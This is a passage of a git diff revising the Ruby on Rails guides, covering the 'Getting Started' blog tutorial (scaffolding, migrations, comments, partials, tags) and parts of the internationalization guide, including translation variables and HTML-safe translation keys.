-Code":https://github.com/mikel/getting-started-code. +<shell> +$ rails --version +</shell> + +If it says something like "Rails 3.1.3" you are ready to continue. + +h4. Creating the Blog Application To begin, open a terminal, navigate to a folder where you have rights to create files, and type: @@ -261,41 +269,50 @@ directly in that application: $ cd blog </shell> -In any case, Rails will create a folder in your working directory called -<tt>blog</tt>. Open up that folder and explore its contents. Most of the work in +The 'rails new blog' command we ran above created a folder in your working directory +called <tt>blog</tt>. The <tt>blog</tt> folder has a number of auto-generated folders +that make up the structure of a Rails application. Most of the work in this tutorial will happen in the <tt>app/</tt> folder, but here's a basic -rundown on the function of each folder that Rails creates in a new application -by default: +rundown on the function of each of the files and folders that Rails created by default: |_.File/Folder|_.Purpose| -|Gemfile|This file allows you to specify what gem dependencies are needed for your Rails application. See section on Bundler, below.| -|README|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.| -|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.| |app/|Contains the controllers, models, views and assets for your application. You'll focus on this folder for the remainder of this guide.| -|config/|Configure your application's runtime rules, routes, database, and more.| +|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in "Configuring Rails Applications":configuring.html| |config.ru|Rack configuration for Rack based servers used to start the application.| -|db/|Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.| +|db/|Contains your current database schema, as well as the database migrations.| |doc/|In-depth documentation for your application.| -|lib/|Extended modules for your application (not covered in this guide).| +|Gemfile<BR />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application.| +|lib/|Extended modules for your application.| |log/|Application log files.| |public/|The only folder seen to the world as-is. Contains the static files and compiled assets.| +|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.| +|README.rdoc|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.| |script/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.| |test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing.html| |tmp/|Temporary files| -|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.| +|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems and the Rails source code (if you optionally install it into your project).| h4. Configuring a Database Just about every Rails application will interact with a database. The database to use is specified in a configuration file, +config/database.yml+. If you open this file in a new Rails application, you'll see a default database -configuration using SQLite3. The file contains sections for three different +configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default: -* The +development+ environment is used on your development computer as you interact manually with the application. -* The +test+ environment is used to run automated tests. +* The +development+ environment is used on your development/local computer as you interact +manually with the application. +* The +test+ environment is used when running automated tests. * The +production+ environment is used when you deploy your application for the world to use. +TIP: You don't have to update the database configurations manually. If you look at the +options of the application generator, you will see that one of the options +is named <tt>--database</tt>. This option allows you to choose an adapter from a +list of the most used relational databases. You can even run the generator +repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting + of the +config/database.yml+ file, your application will be configured for MySQL +instead of SQLite. Detailed examples of the common database connections are below. + h5. Configuring an SQLite3 Database Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is @@ -360,7 +377,7 @@ development: h5. Configuring an SQLite3 Database for JRuby Platform -If you choose to use SQLite3 and using JRuby, your +config/database.yml+ will +If you choose to use SQLite3 and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section: <yaml> @@ -371,7 +388,7 @@ development: h5. Configuring a MySQL Database for JRuby Platform -If you choose to use MySQL and using JRuby, your +config/database.yml+ will look +If you choose to use MySQL and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section: <yaml> @@ -384,7 +401,7 @@ development: h5. Configuring a PostgreSQL Database for JRuby Platform -Finally if you choose to use PostgreSQL and using JRuby, your +Finally if you choose to use PostgreSQL and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section: @@ -399,14 +416,6 @@ development: Change the username and password in the +development+ section as appropriate. -TIP: You don't have to update the database configurations manually. If you look at the -options of the application generator, you will see that one of the options -is named <tt>--database</tt>. This option allows you to choose an adapter from a -list of the most used relational databases. You can even run the generator -repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting - of the +config/database.yml+ file, your application will be configured for MySQL -instead of SQLite. - h4. Creating the Database Now that you have your database configured, it's time to have Rails create an @@ -438,6 +447,14 @@ start a web server on your development machine. You can do this by running: $ rails server </shell> +TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and +the absence of a runtime will give you an +execjs+ error. Usually Mac OS X +and Windows come with a JavaScript runtime installed. Rails adds the +therubyracer+ gem +to Gemfile in a commented line for new apps and you can uncomment if you need it. ++therubyrhino+ is the recommended runtime for JRuby users and is added by default +to Gemfile in apps generated under JRuby. You can investigate about all the +supported runtimes at "ExecJS":https://github.com/sstephenson/execjs#readme. + This will fire up an instance of the WEBrick web server by default (Rails can also use several other web servers). To see your application in action, open a browser window and navigate to "http://localhost:3000":http://localhost:3000. @@ -480,7 +497,7 @@ Open this file in your text editor and edit it to contain a single line of code: h4. Setting the Application Home Page Now that we have made the controller and view, we need to tell Rails when we -want "Hello Rails" to show up. In our case, we want it to show up when we +want "Hello Rails!" to show up. In our case, we want it to show up when we navigate to the root URL of our site, "http://localhost:3000":http://localhost:3000, instead of the "Welcome Aboard" smoke test. @@ -501,8 +518,7 @@ file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. -Find the line beginning with +root :to+, uncomment it and change it like the -following: +Find the line beginning with +root :to+ and uncomment it. It should look something like the following: <ruby> Blog::Application.routes.draw do @@ -530,7 +546,7 @@ resource in a single operation, scaffolding is the tool for the job. h3. Creating a Resource -In the case of the blog application, you can start by generating a scaffolded +In the case of the blog application, you can start by generating a scaffold for the Post resource: this will represent a single blog posting. To do this, enter this command in your terminal: @@ -544,21 +560,21 @@ folders, and edit <tt>config/routes.rb</tt>. Here's a quick overview of what it |_.File |_.Purpose| |db/migrate/20100207214725_create_posts.rb |Migration to create the posts table in your database (your name will include a different timestamp)| |app/models/post.rb |The Post model| -|test/fixtures/posts.yml |Dummy posts for use in testing| +|test/unit/post_test.rb |Unit testing harness for the posts model| +|test/fixtures/posts.yml |Sample posts for use in testing| +|config/routes.rb |Edited to include routing information for posts| |app/controllers/posts_controller.rb |The Posts controller| |app/views/posts/index.html.erb |A view to display an index of all posts | |app/views/posts/edit.html.erb |A view to edit an existing post| |app/views/posts/show.html.erb |A view to display a single post| |app/views/posts/new.html.erb |A view to create a new post| |app/views/posts/_form.html.erb |A partial to control the overall look and feel of the form used in edit and new views| -|app/helpers/posts_helper.rb |Helper functions to be used from the post views| -|app/assets/stylesheets/scaffolds.css.scss |Cascading style sheet to make the scaffolded views look better| -|app/assets/stylesheets/posts.css.scss |Cascading style sheet for the posts controller| -|app/assets/javascripts/posts.js.coffee |CoffeeScript for the posts controller| -|test/unit/post_test.rb |Unit testing harness for the posts model| |test/functional/posts_controller_test.rb |Functional testing harness for the posts controller| +|app/helpers/posts_helper.rb |Helper functions to be used from the post views| |test/unit/helpers/posts_helper_test.rb |Unit testing harness for the posts helper| -|config/routes.rb |Edited to include routing information for posts| +|app/assets/javascripts/posts.js.coffee |CoffeeScript for the posts controller| +|app/assets/stylesheets/posts.css.scss |Cascading style sheet for the posts controller| +|app/assets/stylesheets/scaffolds.css.scss |Cascading style sheet to make the scaffolded views look better| NOTE. While scaffolding will get you up and running quickly, the code it generates is unlikely to be a perfect fit for your application. You'll most @@ -596,11 +612,11 @@ end </ruby> The above migration creates a method named +change+ which will be called when you -run this migration. The action defined in that method is also reversible, which +run this migration. The action defined in this method is also reversible, which means Rails knows how to reverse the change made by this migration, in case you -want to reverse it at later date. By default, when you run this migration it -will creates a +posts+ table with two string columns and a text column. It also -creates two timestamp fields to track record creation and updating. More +want to reverse it later. When you run this migration it will create a ++posts+ table with two string columns and a text column. It also creates two +timestamp fields to allow Rails to track post creation and update times. More information about Rails migrations can be found in the "Rails Database Migrations":migrations.html guide. @@ -622,7 +638,7 @@ table. NOTE. Because you're working in the development environment by default, this command will apply to the database defined in the +development+ section of your -+config/database.yml+ file. If you would like to execute migrations in other ++config/database.yml+ file. If you would like to execute migrations in another environment, for instance in production, you must explicitly pass it when invoking the command: <tt>rake db:migrate RAILS_ENV=production</tt>. @@ -691,7 +707,8 @@ end These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their -format, and the existence of associated objects. +format, and the existence of associated objects. Validations are covered in detail +in "Active Record Validations and Callbacks":active_record_validations_callbacks.html#validations-overview h4. Using the Console @@ -704,8 +721,8 @@ $ rails console </shell> TIP: The default console will make changes to your database. You can instead -open a console that will roll back any changes you make by using +rails console ---sandbox+. +open a console that will roll back any changes you make by using <tt>rails console +--sandbox</tt>. After the console loads, you can use it to work with your application's models: @@ -716,10 +733,8 @@ After the console loads, you can use it to work with your application's models: updated_at: nil> >> p.save => false ->> p.errors -=> #<OrderedHash { :title=>["can't be blank", - "is too short (minimum is 5 characters)"], - :name=>["can't be blank"] }> +>> p.errors.full_messages +=> ["Name can't be blank", "Title can't be blank", "Title is too short (minimum is 5 characters)"] </shell> This code shows creating a new +Post+ instance, attempting to save it and @@ -729,13 +744,14 @@ inspecting the +errors+ of the post. When you're finished, type +exit+ and hit +return+ to exit the console. TIP: Unlike the development web server, the console does not automatically load -your code afresh for each line. If you make changes to your models while the -console is open, type +reload!+ at the console prompt to load them. +your code afresh for each line. If you make changes to your models (in your editor) +while the console is open, type +reload!+ at the console prompt to load them. h4. Listing All Posts -The easiest place to start looking at functionality is with the code that lists -all posts. Open the file +app/controllers/posts_controller.rb+ and look at the +Let's dive into the Rails code a little deeper to see how the application is +showing us the list of Posts. Open the file ++app/controllers/posts_controller.rb+ and look at the +index+ action: <ruby> @@ -749,9 +765,8 @@ def index end </ruby> -+Post.all+ calls the +Post+ model to return all of the posts currently in the -database. The result of this call is an array of posts that we store in an -instance variable called +@posts+. ++Post.all+ returns all of the posts currently in the database as an array +of +Post+ records that we store in an instance variable called +@posts+. TIP: For more information on finding records with Active Record, see "Active Record Query Interface":active_record_querying.html. @@ -783,7 +798,8 @@ Here's +app/views/posts/index.html.erb+: <td><%= post.content %></td> <td><%= link_to 'Show', post %></td> <td><%= link_to 'Edit', edit_post_path(post) %></td> - <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', :method => :delete %></td> + <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', + :method => :delete %></td> </tr> <% end %> </table> @@ -801,8 +817,7 @@ and links. A few things to note in the view: NOTE. In previous versions of Rails, you had to use +<%=h post.name %>+ so that any HTML would be escaped before being inserted into the page. In Rails -3.0, this is now the default. To get unescaped HTML, you now use +<%= raw -post.name %>+. +3 and above, this is now the default. To get unescaped HTML, you now use <tt><%= raw post.name %></tt>. TIP: For more details on the rendering process, see "Layouts and Rendering in Rails":layouts_and_rendering.html. @@ -815,9 +830,10 @@ Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. In previous versions of Rails, the +rails generate scaffold+ command would automatically create a controller specific layout, like +app/views/layouts/posts.html.erb+, for the posts controller. However this has -been changed in Rails 3.0. An application specific +layout+ is used for all the +been changed in Rails 3. An application specific +layout+ is used for all the controllers and can be found in +app/views/layouts/application.html.erb+. Open -this layout in your editor and modify the +body+ tag: +this layout in your editor and modify the +body+ tag to include the style directive +below: <erb> <!DOCTYPE html> @@ -828,7 +844,7 @@ this layout in your editor and modify the +body+ tag: <%= javascript_include_tag "application" %> <%= csrf_meta_tags %> </head> -<body style="background: #EEEEEE;"> +<body style="background-color: #EEEEEE;"> <%= yield %> @@ -837,7 +853,7 @@ this layout in your editor and modify the +body+ tag: </erb> Now when you refresh the +/posts+ page, you'll see a gray background to the -page. This same gray background will be used throughout all the views for posts. +page. This same gray background will be used throughout all the views. h4. Creating New Posts @@ -867,10 +883,10 @@ The +new.html.erb+ view displays this empty Post to the user: The +<%= render 'form' %>+ line is our first introduction to _partials_ in Rails. A partial is a snippet of HTML and Ruby code that can be reused in -multiple locations. In this case, the form used to make a new post, is basically -identical to a form used to edit a post, both have text fields for the name and -title and a text area for the content with a button to make a new post or update -the existing post. +multiple locations. In this case, the form used to make a new post is basically +identical to the form used to edit a post, both having text fields for the name and +title, a text area for the content, and a button to create the new post or to update +the existing one. If you take a look at +views/posts/_form.html.erb+ file, you will see the following: @@ -879,7 +895,8 @@ following: <%= form_for(@post) do |f| %> <% if @post.errors.any? %> <div id="errorExplanation"> - <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2> + <h2><%= pluralize(@post.errors.count, "error") %> prohibited + this post from being saved:</h2> <ul> <% @post.errors.full_messages.each do |msg| %> <li><%= msg %></li> @@ -907,15 +924,15 @@ following: </erb> This partial receives all the instance variables defined in the calling view -file, so in this case, the controller assigned the new Post object to +@post+ -and so, this is available in both the view and partial as +@post+. +file. In this case, the controller assigned the new +Post+ object to +@post+, +which will thus be available in both the view and the partial as +@post+. For more information on partials, refer to the "Layouts and Rendering in Rails":layouts_and_rendering.html#using-partials guide. The +form_for+ block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, -+f.text_field :name+ tells Rails to create a text input on the form, and to hook ++f.text_field :name+ tells Rails to create a text input on the form and to hook it up to the +name+ attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case +name+, +title+, and +content+). Rails uses +form_for+ in preference to @@ -931,9 +948,9 @@ to a model, you should use the +form_tag+ method, which provides shortcuts for building forms that are not necessarily tied to a model instance. When the user clicks the +Create Post+ button on this form, the browser will -send information back to the +create+ method of the controller (Rails knows to -call the +create+ method because the form is sent with an HTTP POST request; -that's one of the conventions that I mentioned earlier): +send information back to the +create+ action of the controller (Rails knows to +call the +create+ action because the form is sent with an HTTP POST request; +that's one of the conventions that were mentioned earlier): <ruby> def create @@ -965,12 +982,12 @@ If the post was not successfully saved, due to a validation error, then the controller returns the user back to the +new+ action with any error messages so that the user has the chance to fix the error and try again. -The "Post was successfully created." message is stored inside of the Rails -+flash+ hash, (usually just called _the flash_) so that messages can be carried +The "Post was successfully created." message is stored in the Rails ++flash+ hash (usually just called _the flash_), so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of +create+, the user never actually sees any page -rendered during the Post creation process, because it immediately redirects to -the new Post as soon Rails saves the record. The Flash carries over a message to +rendered during the post creation process, because it immediately redirects to +the new +Post+ as soon as Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the +show+ action, they are presented with a message saying "Post was successfully created." @@ -994,10 +1011,10 @@ end The +show+ action uses +Post.find+ to search for a single record in the database by its id value. After finding the record, Rails displays it by using -+show.html.erb+: ++app/views/posts/show.html.erb+: <erb> -<p class="notice"><%= notice %></p> +<p id="notice"><%= notice %></p> <p> <b>Name:</b> @@ -1043,9 +1060,9 @@ it: <%= link_to 'Back', posts_path %> </erb> -Again, as with the +new+ action, the +edit+ action is using the +form+ partial, -this time however, the form will do a PUT action to the PostsController and the -submit button will display "Update Post" +Again, as with the +new+ action, the +edit+ action is using the +form+ partial. +This time, however, the form will do a PUT action to the +PostsController+ and the +submit button will display "Update Post". Submitting the form created by this view will invoke the +update+ action within the controller: @@ -1058,7 +1075,7 @@ def update if @post.update_attributes(params[:post]) format.html { redirect_to(@post, :notice => 'Post was successfully updated.') } - format.json { render :json => {}, :status => :ok } + format.json { head :no_content } else format.html { render :action => "edit" } format.json { render :json => @post.errors, @@ -1070,9 +1087,9 @@ end In the +update+ action, Rails first uses the +:id+ parameter passed back from the edit view to locate the database record that's being edited. The -+update_attributes+ call then takes the rest of the parameters from the request -and applies them to this record. If all goes well, the user is redirected to the -post's +show+ view. If there are any problems, it's back to the +edit+ view to ++update_attributes+ call then takes the +post+ parameter (a hash) from the request +and applies it to this record. If all goes well, the user is redirected to the +post's +show+ action. If there are any problems, it redirects back to the +edit+ action to correct them. h4. Destroying a Post @@ -1087,19 +1104,19 @@ def destroy respond_to do |format| format.html { redirect_to posts_url } - format.json { head :ok } + format.json { head :no_content } end end </ruby> The +destroy+ method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any -record to display, so Rails redirects the user's browser to the index view for -the model. +record to display, so Rails redirects the user's browser to the index action of +the controller. h3. Adding a Second Model -Now that you've seen how a model built with scaffolding looks like, it's time to +Now that you've seen what a model built with scaffolding looks like, it's time to add a second model to the application. The second model will handle comments on blog posts. @@ -1107,7 +1124,7 @@ h4. Generating a Model Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name -Comment. Even if you don't want to use the entire apparatus set up by ++Comment+. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal: @@ -1118,9 +1135,11 @@ $ rails generate model Comment commenter:string body:text post:references This command will generate four files: -* +app/models/comment.rb+ - The model -* +db/migrate/20100207235629_create_comments.rb+ - The migration -* +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness. +|_.File |_.Purpose| +|db/migrate/20100207235629_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) | +| app/models/comment.rb | The Comment model | +| test/unit/comment_test.rb | Unit testing harness for the comments model | +| test/fixtures/comments.yml | Sample comments for use in testing | First, take a look at +comment.rb+: @@ -1167,8 +1186,10 @@ run against the current database, so in this case you will just see: <shell> == CreateComments: migrating ================================================= -- create_table(:comments) - -> 0.0017s -== CreateComments: migrated (0.0018s) ======================================== + -> 0.0008s +-- add_index(:comments, :post_id) + -> 0.0003s +== CreateComments: migrated (0.0012s) ======================================== </shell> h4. Associating Models @@ -1177,8 +1198,8 @@ Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way: -* Each comment belongs to one post -* One post can have many comments +* Each comment belongs to one post. +* One post can have many comments. In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that @@ -1204,7 +1225,7 @@ end These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable +@post+ containing a post, you can retrieve all -the comments belonging to that post as the array +@post.comments+. +the comments belonging to that post as an array using +@post.comments+. TIP: For more information on Active Record associations, see the "Active Record Associations":association_basics.html guide. @@ -1213,9 +1234,9 @@ h4. Adding a Route for Comments As with the +home+ controller, we will need to add a route so that Rails knows where we would like to navigate to see +comments+. Open up the -+config/routes.rb+ file again, you will see an entry that was added -automatically for +posts+ near the top by the scaffold generator, +resources -:posts+, edit it as follows: ++config/routes.rb+ file again. Near the top, you will see the entry for +posts+ +that was added automatically by the scaffold generator: <tt>resources +:posts</tt>. Edit it as follows: <ruby> resources :posts do @@ -1241,25 +1262,26 @@ $ rails generate controller Comments This creates six files and one empty directory: -* +app/controllers/comments_controller.rb+ - The controller -* +app/helpers/comments_helper.rb+ - A view helper file -* +test/functional/comments_controller_test.rb+ - The functional tests for the controller -* +test/unit/helpers/comments_helper_test.rb+ - The unit tests for the helper -* +app/views/comments/+ - Views of the controller are stored here -* +app/assets/stylesheets/comment.css.scss+ - Cascading style sheet for the controller -* +app/assets/javascripts/comment.js.coffee+ - CoffeeScript for the controller +|_.File/Directory |_.Purpose | +| app/controllers/comments_controller.rb | The Comments controller | +| app/views/comments/ | Views of the controller are stored here | +| test/functional/comments_controller_test.rb | The functional tests for the controller | +| app/helpers/comments_helper.rb | A view helper file | +| test/unit/helpers/comments_helper_test.rb | The unit tests for the helper | +| app/assets/javascripts/comment.js.coffee | CoffeeScript for the controller | +| app/assets/stylesheets/comment.css.scss | Cascading style sheet for the controller | Like with any blog, our readers will create their comments directly after reading the post, and once they have added their comment, will be sent back to the post show page to see their comment now listed. Due to this, our +CommentsController+ is there to provide a method to create comments and delete -SPAM comments when they arrive. +spam comments when they arrive. So first, we'll wire up the Post show template (+/app/views/posts/show.html.erb+) to let us make a new comment: <erb> -<p class="notice"><%= notice %></p> +<p id="notice"><%= notice %></p> <p> <b>Name:</b> @@ -1295,8 +1317,8 @@ So first, we'll wire up the Post show template <%= link_to 'Back to Posts', posts_path %> | </erb> -This adds a form on the Post show page that creates a new comment, which will -call the +CommentsController+ +create+ action, so let's wire that up: +This adds a form on the +Post+ show page that creates a new comment by +calling the +CommentsController+ +create+ action. Let's wire that up: <ruby> class CommentsController < ApplicationController @@ -1309,9 +1331,9 @@ end </ruby> You'll see a bit more complexity here than you did in the controller for posts. -That's a side-effect of the nesting that you've set up; each request for a +That's a side-effect of the nesting that you've set up. Each request for a comment has to keep track of the post to which the comment is attached, thus the -initial find action to the Post model to get the post in question. +initial call to the +find+ method of the +Post+ model to get the post in question. In addition, the code takes advantage of some of the methods available for an association. We use the +create+ method on +@post.comments+ to create and save @@ -1325,7 +1347,7 @@ template. This is where we want the comment to show, so let's add that to the +app/views/posts/show.html.erb+. <erb> -<p class="notice"><%= notice %></p> +<p id="notice"><%= notice %></p> <p> <b>Name:</b> @@ -1381,9 +1403,9 @@ right places. h3. Refactoring -Now that we have Posts and Comments working, if we take a look at the -+app/views/posts/show.html.erb+ template, it's getting long and awkward. We can -use partials to clean this up. +Now that we have posts and comments working, take a look at the ++app/views/posts/show.html.erb+ template. It is getting long and awkward. We can +use partials to clean it up. h4. Rendering Partial Collections @@ -1403,11 +1425,11 @@ following into it: </p> </erb> -Then in the +app/views/posts/show.html.erb+ you can change it to look like the +Then you can change +app/views/posts/show.html.erb+ to look like the following: <erb> -<p class="notice"><%= notice %></p> +<p id="notice"><%= notice %></p> <p> <b>Name:</b> @@ -1456,8 +1478,8 @@ comment to a local variable named the same as the partial, in this case h4. Rendering a Partial Form -Let's also move that new comment section out to its own partial. Again, you -create a file +app/views/comments/_form.html.erb+ and in it you put: +Let us also move that new comment section out to its own partial. Again, you +create a file +app/views/comments/_form.html.erb+ containing: <erb> <%= form_for([@post, @post.comments.build]) do |f| %> @@ -1478,7 +1500,7 @@ create a file +app/views/comments/_form.html.erb+ and in it you put: Then you make the +app/views/posts/show.html.erb+ look like the following: <erb> -<p class="notice"><%= notice %></p> +<p id="notice"><%= notice %></p> <p> <b>Name:</b> @@ -1508,7 +1530,7 @@ Then you make the +app/views/posts/show.html.erb+ look like the following: </erb> The second render just defines the partial template we want to render, -<tt>comments/form</tt>, Rails is smart enough to spot the forward slash in that +<tt>comments/form</tt>. Rails is smart enough to spot the forward slash in that string and realize that you want to render the <tt>_form.html.erb</tt> file in the <tt>app/views/comments</tt> directory. @@ -1517,7 +1539,7 @@ defined it as an instance variable. h3. Deleting Comments -Another important feature on a blog is being able to delete SPAM comments. To do +Another important feature of a blog is being able to delete spam comments. To do this, we need to implement a link of some sort in the view and a +DELETE+ action in the +CommentsController+. @@ -1646,7 +1668,7 @@ right in the form where you create the post. First, create a new model to hold the tags: <shell> -$ rails generate model tag name:string post:references +$ rails generate model Tag name:string post:references </shell> Again, run the migration to create the database table: @@ -1673,10 +1695,10 @@ class Post < ActiveRecord::Base end </ruby> -The +:allow_destroy+ option on the nested attribute declaration tells Rails to -display a "remove" checkbox on the view that you'll build shortly. The -+:reject_if+ option prevents saving new tags that do not have any attributes -filled in. +The +:allow_destroy+ option tells Rails to enable destroying tags through the +nested attributes (you'll handle that by displaying a "remove" checkbox on the +view that you'll build shortly). The +:reject_if+ option prevents saving new +tags that do not have any attributes filled in. We will modify +views/posts/_form.html.erb+ to render a partial to make a tag: @@ -1749,7 +1771,7 @@ Finally, we will edit the <tt>app/views/posts/show.html.erb</tt> template to show our tags. <erb> -<p class="notice"><%= notice %></p> +<p id="notice"><%= notice %></p> <p> <b>Name:</b> @@ -1809,7 +1831,7 @@ Now you can edit the view in <tt>app/views/posts/show.html.erb</tt> to look like this: <erb> -<p class="notice"><%= notice %></p> +<p id="notice"><%= notice %></p> <p> <b>Name:</b> @@ -1853,7 +1875,6 @@ free to consult these support resources: * The "Ruby on Rails Tutorial":http://railstutorial.org/book * The "Ruby on Rails mailing list":http://groups.google.com/group/rubyonrails-talk * The "#rubyonrails":irc://irc.freenode.net/#rubyonrails channel on irc.freenode.net -* The "Rails Wiki":http://wiki.rubyonrails.org/ Rails also comes with built-in help that you can generate using the rake command-line utility: diff --git a/railties/guides/source/i18n.textile b/railties/guides/source/i18n.textile index 4b6b08bcec..25201888e7 100644 --- a/railties/guides/source/i18n.textile +++ b/railties/guides/source/i18n.textile @@ -8,15 +8,15 @@ So, in the process of _internationalizing_ your Rails application you have to: * Ensure you have support for i18n * Tell Rails where to find locale dictionaries -* Tell Rails how to set, preserve and switch locale +* Tell Rails how to set, preserve and switch locales In the process of _localizing_ your application you'll probably want to do the following three things: -* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc +* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc. * Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc. * Store the resulting dictionaries somewhere -This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start. +This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start. endprologue. @@ -91,7 +91,7 @@ This means, that in the +:en+ locale, the key _hello_ will map to the _Hello wor The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations. -NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cz+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it. +NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-GB+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cs+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-GB+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-GB+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it. The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. @@ -231,7 +231,7 @@ end Now, when you call the +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Netherlands locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed). -If you don't want to force the use of a locale in your routes you can use an optional path scope (donated by the use brackets) like so: +If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so: <ruby> # config/routes.rb @@ -365,6 +365,19 @@ NOTE: You need to restart the server when you add new locale files. You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.) +h4. Passing variables to translations + +You can use variables in the translation messages and pass their values from the view. + +<ruby> +# app/views/home/index.html.erb +<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %> + +# config/locales/en.yml +en: + greet_username: "%{message}, %{user}!" +</ruby> + h4. Adding Date/Time Formats OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used. @@ -448,6 +461,7 @@ Covered are features like these: * looking up translations * interpolating data into translations * pluralizing translations +* using safe HTML translations * localizing dates, numbers, currency, etc. h4. Looking up Translations @@ -599,6 +613,27 @@ The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The I18n.default_locale = :de </ruby> +h4. Using Safe HTML Translations + +Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping. + +<ruby> +# config/locales/en.yml +en: + welcome: <b>welcome!</b> + hello_html: <b>hello!</b> + title: + html: <b>title!</b> + +# app/views/home/index.html.erb +<div><%= t('welcome') %></div> +<div><%= raw t('welcome') %></div> +<div><%= t('hello_html') %></div> +<div><%= t('title.html') %></div> +</ruby> + +!images/i18n/demo_html_safe.png(i18n demo html safe)! + h3. How to Store your Custom Translations The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2] @@ -784,13 +819,13 @@ h5. Action View Helper Methods * The +number_to_currency+, +number_with_precision+, +number_to_percentage+, +number_with_delimiter+, and +number_to_human_size+ helpers use the number format settings located in the "number":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2 scope. -h5. Active Record Methods +h5. Active Model Methods * +model_name.human+ and 